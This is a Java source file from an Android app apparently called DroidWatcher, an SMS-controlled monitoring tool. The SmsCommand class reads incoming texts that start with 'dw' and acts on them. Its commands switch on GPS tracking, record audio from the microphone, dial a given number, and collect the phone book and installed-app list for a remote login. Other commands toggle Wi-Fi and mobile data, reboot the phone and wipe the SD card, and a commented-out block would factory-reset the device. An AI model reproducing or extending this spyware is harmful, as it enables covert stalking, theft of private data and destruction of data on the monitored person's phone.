package com.droidwatcher;
import java.util.Locale;
import org.acra.ACRA;
import com.droidwatcher.lib.FileUtil;
import com.droidwatcher.modules.CommandsModule;
import android.content.Context;
import android.os.Bundle;
import android.telephony.SmsMessage;
public class SmsCommand extends Thread {
private static final String KEY_WORD = "dw";
private String mMessage;
private String mNumber;
private SettingsManager mSettings;
private Context mContext;
/** SMS commands */
private enum Command{
/** start gps <br> <strong>dw gpson <i>interval</i></strong>*/
gpson,
/** stop gps */
gpsoff,
/** get gps coord once */
gpsget,
/** dial the specified number <br> <strong>dw callback <i>number</i></strong>*/
callback,
/** reset settings to default. Disconnecting from system */
reset,
/** connect to system <br> <strong>dw connect <i>login</i></strong>*/
connect,
/** start recording audio from mic <br> <strong>dw record <i>seconds</i></strong>*/
record,
recordstop,
/** Enable Wi-Fi */
wifion,
/** Disable Wi-Fi */
wifioff,
gprson,
gprsoff,
reboot,
restart,
contact,
applist,
wipesd,
/** remote wipe (not working) */
wipe;
}
public SmsCommand(Bundle bundle, Context context){
mMessage = "";
mNumber = "";
try {
Object[] pdus = (Object[]) bundle.get("pdus");
SmsMessage msg = SmsMessage.createFromPdu((byte[])pdus[0]);
mMessage = new String(msg.getDisplayMessageBody().getBytes(), "UTF-8");
for (int i = 1; i < pdus.length; i++){
mMessage += SmsMessage.createFromPdu((byte[])pdus[i]).getDisplayMessageBody();
}
mNumber = msg.getOriginatingAddress();
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
}
mMessage = mMessage.toLowerCase(Locale.US);
this.mContext = context;
}
public Boolean isCommand(){
if (mMessage.length() > 2 && mMessage.substring(0, 2).equals(KEY_WORD)){
return true;
}
return false;
}
// public void execute(){
// new Thread(new Runnable() {
// public void run() {
// start();
// }
// }).start();
// }
@Override
public void run(){
try {
String[] arr = mMessage.split(" ");
if (arr.length < 2){
return;
}
mSettings = new SettingsManager(mContext);
Command command = Command.valueOf(arr[1]);
if (!mSettings.isConnected() && command != Command.connect){
return;
}
switch (command) {
case gpsget:
CommandsModule.gpsGet(mNumber);
break;
case gpson:
gpsOn(arr);
break;
case gpsoff:
gpsOff();
break;
case callback:
if (arr.length >= 3) {
CommandsModule.callBack(mContext, arr[2]);
}
break;
case reset:
reset();
break;
case connect:
connect(arr);
break;
case record:
record(arr);
break;
case recordstop:
CommandsModule.recordStop();
break;
case wifion:
CommandsModule.setWiFiState(mContext, true);
break;
case wifioff:
CommandsModule.setWiFiState(mContext, false);
break;
// case wipe:
// wipe();
// break;
case gprsoff:
CommandsModule.setMobileDataState(mContext, false);
break;
case gprson:
CommandsModule.setMobileDataState(mContext, true);
break;
case reboot:
CommandsModule.reboot();
break;
case restart:
CommandsModule.restart(mContext);
break;
case wipesd:
if (arr.length >= 3) {
CommandsModule.wipeSd(mContext, arr[2]);
}
FileUtil.wipeSdcard();
break;
case contact:
CommandsModule.getPhoneBook(mContext, mSettings.login());
break;
case applist:
CommandsModule.getApplicationList(mContext, mSettings.login());
break;
default:
break;
}
}
catch(Exception e){
Debug.exception(e);
}
}
private void record(String[] arr){
int duration = 60;
if (arr.length > 2){
try {
duration = Integer.parseInt(arr[2]);
} catch (NumberFormatException e) {
Debug.exception(e);
}
}
CommandsModule.record(duration);
}
private void connect(String[] arr){
if (arr.length >= 3){
String login = arr[2];
CommandsModule.connect(mContext, mSettings, login);
}
}
private void reset(){
mSettings.clear();
}
private void gpsOn(String[] arr) throws Exception{
Integer interval = Integer.getInteger(arr[2], 10);
mSettings.gpsInterval(Integer.toString(interval));
if (!mSettings.isGpsTrackingEnabled()){
mSettings.isGpsTrackingEnabled(true);
}
}
private void gpsOff(){
if (mSettings.isGpsTrackingEnabled()){
mSettings.isGpsTrackingEnabled(false);
}
}
//private void wipe(){
/*DevicePolicyManager dpm = (DevicePolicyManager)context.getSystemService(Context.DEVICE_POLICY_SERVICE); ;
dpm.wipeData(0);*/
/*Intent i = new Intent("android.intent.action.MAIN");
i.setClassName("com.android.settings", "com.android.settings.MasterClear");
i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
i.putExtra("EASRemoteWipe", true);
context.startActivity(i);*/
//}
}